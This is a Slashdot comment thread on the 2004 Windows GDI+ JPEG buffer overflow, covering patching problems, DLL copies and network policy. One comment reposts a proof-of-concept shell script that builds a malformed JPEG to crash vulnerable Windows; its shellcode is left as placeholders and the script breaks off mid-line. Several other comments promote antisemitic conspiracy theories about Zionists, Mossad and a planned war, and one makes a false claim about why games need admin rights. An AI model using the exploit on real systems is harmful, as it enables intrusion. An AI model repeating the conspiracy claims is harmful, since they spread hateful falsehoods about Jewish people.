    When I was at college, all of the computers ran nt 3.51. So It was a common occurnace to enter acomputer lab and see 1/4 of the computers sitting at the blue screen of death. There was a dramatic increase in quality when they upgraded all of the existing machines to NT4. Blue screens were very rare. Then again they waited for service pack 4 before upgradding, so I'm sure the previous versions were not as solid.

    --
    Well.. maybe. Or Maybe not. But Definitely not sort of.
  156. I hate to be picky, but... by ccharles · · Score: 1

    This could possibly be the worst viruses yet!

    Even MS Word's grammar feature would have caught this one...

  157. The fun never stops by mwood · · Score: 2, Insightful

    There's been some discussion of the problems facing "fleet operators" due to this bug. It seems that various product teams have spewed so many private versions of the .DLLs all over users' systems that the people who maintain the security-patch list in XML just gave up. SMS won't detect the need for the patch, and neither will MBSA, I'm told. Whether SUS (standalone, not the Feature Pack for SMS) will is not yet clear.

    Well, that's just dandy. I've got 200 machines that need patching and no centralized tools, maybe. Oh, joy.

    Now I'm wondering how I'll ever trust those tools again.

    1. Re:The fun never stops by kevbryson · · Score: 1

      This is my first post to ./ since checking it out a few months ago and reading daily. Go easy on me if I say something dumb. My mother always said, go with what you're good at. mwood: Trust shouldn't go too far. Is it me, or is this vulnerability so terrible that you (we, anyone) would be better off fixing it at all costs, even if it breaks something else? I remember all too well the days of ANSI bombs. A client of mine has vulnerable versions of the DLL (what client of mine doesn't?) in SxS directories (side by side) and also released with Sonic's RecordNow which shipped with their Dell machines. Having read and read and read on the topic and seen the question voiced as to whether having vulerable versions of the DLL on your machine is dangerous, and seeing no answer posted, I have to assume that it IS dangerous to have any vulnerable DLL present anywhere on the system. I'd feel better if Microsoft's little "you may be vulnerable" tool would tell me "you're not vulnerable" or failing that, that no red lines appear on GDIscan. I have an idea as to how one might deal with this on an automated basis but I find myself wondering whether it's really a great idea. So I thought I'd post the idea and see what you guys think. Several messages here have provided links to the GDI scan tool, and I saw that there were two versions, one for the command line and one GUI. Why not write a series of batch files or even a compiled program (Preferably compiled in something that doesn't require distribution of Microsoft DLLs ) that could be placed in a login script, which would take the following steps: 1) Use the command line GDI-scan tool to create a list of DLLs; 2) Use a grep-like utility to find the lines and therefore the local paths of those vulnerable files; 3a) Rename, mangle, zip, erase, or otherwise disable those files, or; 3b) Replace those files with the Microsoft-supplied replacement for GDIplus.DLL; 4) (I assume this is a good idea but haven't investigated how - I remember something about a register command) de-register the old DLL and re-register the new; 5) Re-run the scan to a text file; 6) Create a report of activity on some shared drive or send it somewhere so as administrator, you can review what was done on all machines and alert users as to possible problems with apps that require the DLL. 7) Wait for whatever breaks to break, as opposed to waiting for whatever random attack from whoever might somehow get a foothold. My client is a law firm and just doesn't care about Sonic RecordNow, and probably doesn't care about whatever software caused the old DLL to be placed in WinSxS. But, even if one of these apps were in use, a replacement or upgrade could be procured or an intelligent and timely decision could be made about what to do to solve the problem. So... what do you guys think?

    2. Re:The fun never stops by kevbryson · · Score: 1

      Or do something dumb like post with no line breaks. Even.

    3. Re:The fun never stops by mwood · · Score: 1

      Sounds like what I want to do. Any product that doesn't work properly with a higher version of the .DLL than the private one shipped with it, was already broken.

      The problem, of course, is that the end user is left with a busted program, saying, "I just want it to work!" If the vendor wasn't good enough to make a proper program in the first place, it may be quite some time before a well-made update is available.

      Welcome to .DLL Hell v2.0, AKA side-by-side assemblies. Proving once again that sweeping dirt under the rug doesn't get rid of it.

  158. Anti-Semitic? NO. Anti-Zionist. BIG difference. by Fantastic+Lad · · Score: 0, Troll
    You're also a fucking anti-semite.. "look a virus came out, it must be the Israeli secret service"

    --And you are a sputtering, pre-programmed fool. Anybody who has bothered to look beyond Fox and CNN will know; the Mossad is one of the most dangerous and prolific secret agencies on the planet; anybody who criticizes Israel in any significant way is asking for trouble. (Or air to surface missiles into their wheel chair.)

    Seriously. Look beyond the prescribed. There are some very smart and very even-keeled people who, (unlike the shouting poster I'm responding to), are not filled with knee-jerk emotional buttons. These are people who have studied the many various issues, not with hate, but rather out of curiosity and a sense of responsibility to know what the truth is and to share it.

    Look up: "Israeli Moving Companies" and "Dancing art students". Those two threads alone will pull an avalanche of data into your hands. --If you want to see it. --Don't stop on the first hysterical webpage and say, "See! I looked and it's all insane crap!" If you only want to see evidence to support your delusions, then that is certainly all you will find.

    Michael Moore took a lot of care to avoid talking about the elephant in the living room with his latest film. He's no dolt; he knows that potato is just too hot. (That is, can you imagine an army of pre-programmed fools like the one I'm responding to burning copies of his film? I can.)

    Despite the fact that the emotionally charged term, 'Anti-Semite' is growing less effective as rationality catches up to reality, I want to be clear:

    I am not anti-semitic. I AM anti-Zionist. The Jews are caught in the cross-fire. The Semites, ALL Semites, both Jew and Arab, are the final target of this new World War. --You will probably not read a more essential and un-recognized truth for the rest of this year.

    I've been saying it for several years, and now it's becoming very hard to ignore. . . WWII was a dry run. It's all starting to happen again.

    JPEG viruses and plenty of tax-paid astro-turfing are par for this course. They only have to keep people confused and quiet for one more month and then guys like me can be arrested without hassle.


    -FL

    1. Re:Anti-Semitic? NO. Anti-Zionist. BIG difference. by Anonymous Coward · · Score: 0

      Yes, there is a difference. One believes the Jews control everything and the other believes the Jews want to control everything.

  159. Really, Boss... by Kozar_The_Malignant · · Score: 1

    > I want to see what GraphicConverter does with this.

    I'm not cruising the alt.binaries.erotica.* groups for the p0rn, I'm doing field research on this new trojan.
    --
    Some mornings it's hardly worth chewing through the restraints to get out of bed.
  160. sabotage? by jeff13 · · Score: 1

    ... does this qualify as sabotage of Usenet by Micro$oft?

  161. Re:keeping a campus virus-free -- Don't allow Wind by Anonymous Coward · · Score: 0

    wow.. since all college studens know how to use linux.

  162. RSS Reader vulnerability by pizzaworkshop · · Score: 1

    Since the .net framework is listed as vulnerable and RSS readers typically use it, will they need
    patching?

    1. Re:RSS Reader vulnerability by Anonymous Coward · · Score: 0

      All those RSS readers except Safari... :P

  163. The reason Doom3 and The Sims must be run as root by Rotten168 · · Score: 1

    The developers have set up Doom3 and the The Sims 2 to run as "root" (Windows) for a very good reason, and it's not because of programming incompetence. The reason they have done this is because both games are considered "adult" and not to be played by kids. This is why you need admin priveledges, it's an attempt to "password protect" those games that are adult in nature. ICQ has explicitly stated, as a matter of fact, that this is why you need admin priveldges to run it.

  164. Duh by Nurgled · · Score: 1

    "Implications", not "implementations". I noticed just after I hit Submit. Sorry; I just got up.

  165. Re:keeping a campus virus-free -- Don't allow Wind by Anonymous Coward · · Score: 1, Insightful

    Worst. Post. Ever.

    Is some freshman psychology major going to format their drive, back up all their files, and install Linux? No. Are they going to be able to use Linux? Doubtful. Is linux going to detect their generic sound cards and network adapters? Yeah, right. Are you going to have chaos and pissed off students? Yes. Are you going be the one to tell them they can't use their brand new Dell without totally fucking re-doing all of the software or are you going to tell them it's worthless and to go spend $1000 on a new Mac?

    You are seriously fucking stupid. Start living in the real world.

  166. Don't go slinging FUD by the_truk_stop · · Score: 1
    The JPEG isn't valid, so of course it won't display "correctly". Any idiot can pull the same stunt on Windows (rename notepad.exe to notepad.jpg, and attempt to open - whoops, one program segfaults and another says it can't import the image!).

    Linux isn't vulnerable to this particular image. In this case it only affects Microsoft's software.

    -1 FUD slinging

  167. Hurray for dependency hell! by Anonymous Coward · · Score: 0

    UNIX and Linux systems take the concept "code reuse" to heart.

    The benefits of code reuse are:
    * Less disk space utilization
    * Less memory utilization
    * Easier and more comprehensive security fixes

    The draw back is:
    * Lots of interdependencies between apps and libraries

    The RPM and DPKG packagement's main goals are to manage the dependencies that exist on the system so that the all dependencies are met, and to keep them met during upgrades, removals, and installations.

    Note that RPM and DPKG aren't creating the dependency issue (again, the issue is a natural by-product of the code reuse), they are there to manage it. Many clueless people rant about RPM and DPKG, it is amusing.

    The "easier and more comprehensive security fixes" benefit is a HUGE deal, and this JPEG GDI+ issue is a perfect example.

    You might have patched the OS itself, but still have many applications themselves that are vulnerable because they have their own private copy.

    This is because in the Windows world, the tradeoff was taken to not have library and application interdependencies (no code reuse), but instead have standalone application installs.

    This has the drawbacks of:
    * More disk space utilization
    * More memory utilization
    * Harder and incomplete security fixes

    So, say it with me. Hurray for dependency hell!

    Another example of Linux of code reuse benefiting Linux:

    A year or so ago, there was discovered a flaw in the zlib compression/decompression library used by many, MANY applications in Linux. By updating that one library in the /usr/lib directory all the apps were fixed too! (note that at the time, a few apps were found to have statically compiled in the zlib library, and those apps were patched to dynamically use the system zlib library from that point forward)

  168. MS needs to scrap windows by Anonymous Coward · · Score: 0

    They need to scrap windows, and use some of that $50 billion and start from the ground up.

    Why haven't they adopted a "sandbox" paradigm for applications to run in? Yes it would be slower, but it couldn't be worse than these issues

    1. Re:MS needs to scrap windows by Anonymous Coward · · Score: 0

      So should Linux be scrapped because the same bug was found twice in the past couple of weeks?!?!?

  169. Kill the link. by Anonymous Coward · · Score: 0

    Agreed. This has the potential to be abused in that one can find their page linked to a Slashdot story then modify the content of the page to fit an agenda. Nip the problem in the bud and kill the link now as an example.

  170. how about... by jridley · · Score: 1

    Transparently proxy web access. Log access to the norton AV update site, just a timestamp and an IP. Then you have a log of IP addresses and whether they have Norton installed, and the last time they updated.

    If they don't update every two weeks, then trigger the transparent proxy so that any access to anything other than the Norton update page and the local page for downloading NAV displays a static page that says "Your access is blocked until you update your AV software." Give them a download link to grab their copy from.

    It seems to me that you have a perfectly legitimate right to restrict access to a commons only to people who have taken steps to not be a threat to others in that area. You can require people to get immunized before going on a trip where they'll be in close contact with other people, so it seems you can require people to immunize their computers before you let them use YOUR equipment to put them in close proximity to other people's equipment.

    How long will it be before a bunch of students sue a university to recoup cleanup costs because the university did not exercise due diligence in maintaining a clean network, when doing so is clearly technically feasible.

  171. This is an excellent example! by Fantastic+Lad · · Score: 1
    There are such things as conspiracies. There is no such thing as The Conspiracy. The former requires the cooperation of several people; the latter would require the cooperation of thousands of people, all of whom would need to be clever enough not to get caught. And People are just too Stupid for that to happen.


    I don't want to make you feel stupid, but the argument you present here is a actually a common misconception; I believed it once as well until I began to examine the puzzle more closely.

    Try thinking of it this way. . .

    Your trying to discredit the idea of, "The Conspiracy," through ridicule (re, "CUCKOO, CUCKOO"), is in fact part of the very same 'Conspiracy'. --But you didn't take orders, nor did you receive an envelope from a shadowy figure. Still, this doesn't alter the fact that you are a part of a large group of people engendering a certain belief system, and that you are affecting how the world filters and perceives data and events. --If you get enough people doing as you do, repeating, "He's Crazy" often enough, then the perception is created of a sort of 'moral majority' at work. And people can be counted on in most cases to react in a few very specific ways;

    -People, on a gut level, will Fear the ideas being ridiculed and want to look away or in fact join in the chorus of disagreement so as to be part of the 'popular' crowd and thus avoid being ostracized themselves. This social programming is typically installed during childhood on school yards, and it is one of the most powerful methods to control population behavior in use today.

    That is, ridiculing and heaping social abuse upon a subject with enough strength will cause the rest of the world to look the other way. Almost every time. Amazing! And yet, where is the 'Vast Conspiracy?' to make this happen?

    Oh, it's there. It's just far more effective than most people give it credit, and far more invisible. The interesting fact is that when it is in full effect, conspirators do not NEED to keep secrets because the population is actively, deliberately looking the other way.

    That's why the points you raise about the impossibility of thousands of people keeping a secret, (while true!), is not an issue.

    And let's look at an example of a recent 'conspiracy' which was caught, which has massive implications, and which everybody ignored, choosing instead to believe in the installed falsehood. . .

    --This recent story about Canwest Global [www.cbc.ca], which owns much of the news pie in Canada is an excellent example of a small number of people influencing millions in regard to the activities of Zionist Israel.

    There are those two charged words; ask yourself. . . Are you reacting at this moment rationally or emotionally?


    -FL

  172. Re: Zionism. by Fantastic+Lad · · Score: 1
    Yes, there is a difference. One believes the Jews control everything and the other believes the Jews want to control everything.

    Interestingly, this is not wholly accurate. --It suggests that ALL Jews want to control everything, whereas my experience with Jews tells me that the power-mongers are, as in other nations, a small number of elite. Their supporters are either connected to that elite, or are, largely, programmed masses.

    Zionism is masked as a Jewish creation. Zionism, after the history is examined, is clearly a manipulative force which has through many, many means, artificially created threats of all types to Jews in other nations, both direct and indirect, pushing them to re-locate to Israel. There is plenty of evidence of Zionist ties with the Third Reich and various non-Jewish power brokers such as Rothschildes, and of course, the US government.

    The end goal, as I have said before, is to "Put all the eggs in one basket" to enable a more effective termination of the Jewish blood lines, and that this is one of the primary objectives to the coming World War.

    The Jews are one of the most heavily manipulated groups on the planet, and one which is being herded ever closer toward self-destruction.

    I don't see it as being avoidable at this point, but perhaps with continued warnings and muck-raking, some people living in Israel, or who are planning to move there, will wake up and perhaps manage to avoid the hammer before it falls.


    -FL

  173. American Studies. . . by Fantastic+Lad · · Score: 1
    I should print out your comment and give it to my American Studies teacher.

    I welcome it! But please, be sure to also review and include the other two or three comments I've made in responses to the others who commented on my post.

    --I think it may be very likely that you are jumping to conclusions regarding my intent and beliefs. In any case, I'd be fascinated to know what your teacher's take would be.


    -FL

  174. Hrm... I thought OL2K3 has a 20gb pst limit. by Anonymous Coward · · Score: 0

    If I'm not mistaken, in Outlook 2003, when it asks you to create a PST file you can do either the older 97-2002 with the 2gb limit or the 20gb PST file that only 2003 can do.

  175. Re:The reason Doom3 and The Sims must be run as ro by Tim+Browse · · Score: 1
    Then wouldn't it be a better plan to require the games to be installed as admin, rather than run as admin?

    Forcing your customers to run a less secure system as a way of enforcing the 'adult' rating sounds like a dumb idea, oh and by the way I'm feeling cynical, and I'm a developer myself, so I'll just go ahead and say that I'm 99% sure this stuff is total garbage - it's just that they couldn't be bothered to make the games run if you're not admin.

    I bet that problem was found in beta-testing for both games, and they decided not to fix it, and cooked up some bollocks about won't somebody please think of the children instead.

    It's not due to programming incompetence per se - I'm guessing timescales/perceived small scale of the problem caused it not to be fixed.

    Cynical old me :)

  176. Re:Is this based on the Independent JPEG Group lib by ummit · · Score: 1
    No, apparently not. Microsoft evidently added the bug when they added some code to the IJG codebase. (Oddly enough, they added the same bug, and in the same spot, as Netscape had back when Netscape tried to add the same code -- JFIF comment parsing -- to their copy of the IJG library in Mozilla.)

    See http://www.openwall.com/advisories/OW-002-netscape -jpeg/.

  177. You can't be serious! by kjj · · Score: 1

    I meant Sirius.

  178. wheres that then? by crabpeople · · Score: 1

    no it has the 2gb limit as well. i dont know where there is a setting to enable some other amount of space.

    this is due to the 2gb bug that effects most 32bit things (ie its all 1's). i just coincidentally enough, ran across this problem with a user this morning. i am thinking of switching him to thunderbird but there is no calendar and lord knows no one can work without a calendar!

    i have a 1.9gb .pst file thats horribly corrupted (well its actually "fixed" acording to microsoft as Outlook locks the file so that it wont actually corrupt, i can not however delete any messages out of it or anything)

    theres a tool that lobotomizes like 50megs RANDOMLY out of the store file which would presumeably allow you to get in there and delete messages. i havent tried it yet.

    (horribly offtopic i know)

    --
    I'll just use my special getting high powers one more time...
  179. redundant? by Anonymous Coward · · Score: 0

    check the timestamps, assholes

  180. Re:The problem is... by satans_advocate · · Score: 0

    er... need more information. Are you saying that the plugin format is already backwards compatible, and I need to adjust a setting? Or are you suggesting that the Mozilla team work on making the plugin format backwards compatible?

    What if the extension is affected by the vunerability?

  181. This should keep you from coming infected... by Kevin108 · · Score: 0

    If you don't know what I'm talking about... http://news.google.com/news?q=jpeg+virus Anyway, since it's out there now I was doing some reading on Slashdot and found out a little bit of how it works. The article said to check to see if you have been infected by this trojan, look for a director named c:\windows\system32\system\ that has nvsvc.exe and winrun.exe in it. I didn't but how many images do you browse a day? So this one's making me a little nervous. I don't know if this will work but I think it definitely should. I went to the command prompt and did the following: cd\windows cd system32 md system cd system copy con > nvsvc.exe hkjhgkjh Ctrl+C copy con > winrun.exe iohgihgo Ctrl+C attrib *.* +r +s exit

    --

    It's a perfect time for being wasted.
    A perfect time to watch the stars.
    - Burden Brothers, "Beautiful Night"
  182. Formatting corrected... by Kevin108 · · Score: 0
    If you don't know what I'm talking about... http://news.google.com/news?q=jpeg+virus

    Anyway, since it's out there now I was doing some reading on Slashdot and found out a little bit of how it works. The article said to check to see if you have been infected by this trojan, look for a director named c:\windows\system32\system\ that has nvsvc.exe and winrun.exe in it. I didn't but how many images do you browse a day? So this one's making me a little nervous. I don't know if this will work but I think it definitely should.

    I went to the command prompt and did the following:

    cd\windows
    cd system32
    md system
    cd system
    copy con > nvsvc.exe
    hkjhgkjh Ctrl+C
    copy con > winrun.exe
    iohgihgo Ctrl+C
    attrib *.* +r +s
    exit

    --

    It's a perfect time for being wasted.
    A perfect time to watch the stars.
    - Burden Brothers, "Beautiful Night"
  183. Re:The problem is... by nzhavok · · Score: 1

    I don't think it's a matter of making the format backwards compatible (I'm sure it already is, from 0.7 at least). Pretty sure most extensions are compatible, just that the devs only sanction them up to the current ff/moz version because that's all they've tested on. You could edit the source yourself... Anyhow I agree that it sucks, I lost quite a few useful extension too bugmenot (but I can use the webpage) and quicknote (which really sucks because I used that a lot), and javascript console viewer (which isn't so useful since I'm not using js anymore).

    If you like you can edit the extension to be compatible, download the .xpi file and rename it to a zip, extract the install.rdf file and open it with a text editor. There you can edit the maxversion, then put the new install.rdf back in the zip, rename it back to xpi and open with firefox. Of course you use this at your own risk because something *might* have been broken between versions.

    Hopefully now we've hit the 1.0 series the extensions can be made compatible for all 1.x versions.

    --

    He who defends everything, defends nothing. -- Fredrick The Great
  184. CODE by TonyAdrianGwenTom · · Score: 1

    Proof of concept exploit that creates a jpeg image to test for the buffer overrun vulnerability discovered under Microsoft Windows. Shellcode and valid addresses have been removed. /* CAN-2004-0200 */ #!/bin/sh # # The JPEG vuln is triggered by the 0 or 1 length field with an integer flaw # The crafted JPEG header makes Windows crash a couple of different ways # 1) First, it crashes when the image is opened. # 2) Second, it crashes when hovering the mouse over the image. # # The pointer overwrite is pretty straight forward in a debugger # # Usage: # sh ms04-028.sh > clickme.jpg # # Note: This isn't a ./hack # - Plug in shellcode and get the address # - You non-kiddies out there are smart enough to fill in the blanks # - Until you do the above, it's just a stupid PoC crash # # It's ugly, but it works :) # # -perplexy- #JPEG header 'n stuff printf "\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46" printf "\x00\x01\x01\x01\x00\x60\x00\x60\x00\x00" #Trigger string - 00 length field (01 works too) printf "\xFF\xFE\x00\x00" printf "\x45\x78\x69\x66\x00\x00\x49\x49\x2A\x00\x08\x00" # 1) Opening directly in IE #Address to overwrite = RtlEnterCriticalSelection() - 4 #Check page 172 of SC Handbook for those of you playing along at home printf "\x1C\xF0\xFD\x7F" # 1) Opening directly in IE #Address of shellcode printf "\x41\x41\x41\x41" #Other stuff printf "\x96\x02\x00\x00\x1A\x00\x00\x00" # 2) MouseOver in IE #Address to overwrite = RtlEnterCriticalSelection() - 4 #Check page 172 of SC Handbook for those of you playing along at home printf "\x1C\xF0\xFD\x7F"; # 2) MouseOver in IE #Address of shellcode printf "\x41\x41\x41\x41" #Comments here perl -e 'print "A"x1000'; #Image junk here printf "\x00\x00\x00\xFF\xDB\x00\x43\x00\x08\x06\x06\x07\ x06\x05\x08\x07\x07"; printf "\x07\x09\x09\x08\x0A\x0C\x14\x0D\x0C\x0B\x0B\x0C\ x19\x12\x13\x0F\x14"; printf "\x1D\x1A\x1F\x1E\x1D\x1A\x1C\x1C\x20\x24\x2E\x27\ x20\x22\x2C\x23\x1C"; printf "\x1C\x28\x37\x29\x2C\x30\x31\x34\x34\x34\x1F\x27\ x39\x3D\x38\x32\x3C"; printf "\x2E\x33\x34\x32\xFF\xDB\x00\x43\x01\x09\x09\x09\ x0C\x0B\x0C\x18\x0D"; printf "\x0D\x18\x32\x21\x1C\x21\x32\x32\x32\x32\x32\x32\ x32\x32\x32\x32\x32"; printf "\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\ x32\x32\x32\x32\x32"; printf "\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\ x32\x32\x32\x32\x32"; printf "\x32\x32\x32\x32\x32\xFF\xC0\x00\x11\x08\x00\x03\ x00\x03\x03\x01\x22"; printf "\x00\x02\x11\x01\x03\x11\x01\xFF\xC4\x00\x1F\x00\ x00\x01\x05\x01\x01"; printf "\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\ x01\x02\x03\x04\x05"; printf "\x06\x07\x08\x09\x0A\x0B\xFF\xC4\x00\xB5\x10\x00\ x02\x01\x03\x03\x02"; printf "\x04\x03\x05\x05\x04\x04\x00\x00\x01\x7D\x01\x02\ x03\x00\x04\x11\x05"; printf "\x12\x21\x31\x41\x06\x13\x51\x61\x07\x22\x71\x14\ x32\x81\x91\xA1\x08"; printf "\x23\x42\xB1\xC1\x15\x52\xD1\xF0\x24\x33\x62\x72\ x82\x09\x0A\x16\x17"; printf "\x18\x19\x1A\x25\x26\x27\x28\x29\x2A\x34\x35\x36\ x37\x38\x39\x3A\x43"; printf "\x44\x45\x46\x47\x48\x49\x4A\x53\x54\x55\x56\x57\ x58\x59\x5A\x63\x64"; printf "\x65\x66\x67\x68\x69\x6A\x73\x74\x75\x76\x77\x78\ x79\x7A\x83\x84\x85"; printf "\x86\x87\x88\x89\x8A\x92\x93\x94\x95\x96\x97\x98\ x99\x9A\xA2\xA3\xA4"; printf "\xA5\xA6\xA7\xA8\xA9\xAA\xB2\xB3\xB4\xB5\xB6\xB7\ xB8\xB9\xBA\xC2\xC3"; printf "\xC4\xC5\xC6\xC7\xC8\xC9\xCA\xD2\xD3\xD4\xD5\xD6\ xD7\xD8\xD9\xDA\xE1"; printf "\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xF1\xF2\xF3\ xF4\xF5\xF6\xF7\xF8"; printf "\xF9\xFA\xFF\xC4\x00\x1F\x01\x00\x03\x01\x01\x01\ x01\x01\x01\x01\x01"; printf "\x01\x00\x00\x00\x00\x00\x00

  185. Re:keeping a campus virus-free -- Don't allow Wind by randomblast · · Score: 1

    umm.. isn't college for learning?

    --
    ...these aren't my real teeth.
  186. Re:The problem is... by danielrose · · Score: 1

    I mean that firefox should (within reason) retain your previous plugins when you perform an upgrade..
    It may do now.. havent upgraded in a while (since before they had pretty installers and such)..
    Of course if you have a plugin that relies on said vulnerability, the plugin no longer runs correctly.. but I think the chances of this are relatively slim..
    I've actually been holding off upgrading because I hate trying to find and install all the plugins again (especially the good version of Adblock!!)..

    --
    i hate pansy republicans
  187. Re:The problem is... by satans_advocate · · Score: 0

    I mean that firefox should (within reason) retain your previous plugins when you perform an upgrade..

    Oh, it retained them, they just didn't work. I tried upgrading them through the extensions manager, but eventually I had to go looking for them.

    Of course if you have a plugin that relies on said vulnerability, the plugin no longer runs correctly.. but I think the chances of this are relatively slim..

    Right, but how would Firefox know which plug-ins were affected by the vunerablity and which were not? DO the plug-ins only call the Firefox API, or do some of them hav their own API.
    For example, one of the extensions I use is Image Zoom. Was this extension affected by the JPEG vunerability? And if yes, will updating Firefox fix the vunerablity in the extension too?

    I've actually been holding off upgrading because I hate trying to find and install all the plugins again (especially the good version of Adblock!!)..

    I'm still waiting on Moji, Basics and Bloglines toolkit.

  188. Re:keeping a campus virus-free -- Don't allow Wind by olddotter · · Score: 1

    Gees you guys don't get it when someone is supposed to be funny? But also its not impossible to do this in the real world. There is a security company that does not allow windows machines to connect to its corporate network at all. In the Real world the school can require the students to buy a particular computer. It might be a windows box, an Apple, or linux. I remember a school that required all CS students to have an Amiga!!

  189. Re:The problem is... by danielrose · · Score: 1


    Right, but how would Firefox know which plug-ins were affected by the vunerablity and which were not? DO the plug-ins only call the Firefox API, or do some of them hav their own API.
    For example, one of the extensions I use is Image Zoom. Was this extension affected by the JPEG vunerability? And if yes, will updating Firefox fix the vunerablity in the extension too?


    That's a very very interesting question :)

    --
    i hate pansy republicans
  190. Time for a little Karma Burn by Brad1138 · · Score: 0, Offtopic

    To the person who modded the parent post down from Funny 2 to 0 and all the replys from 2, 3,and 4 down to 0, -1 and offtopic. Eat shit.

    --
    If you could reason with religious people, there would be no religious people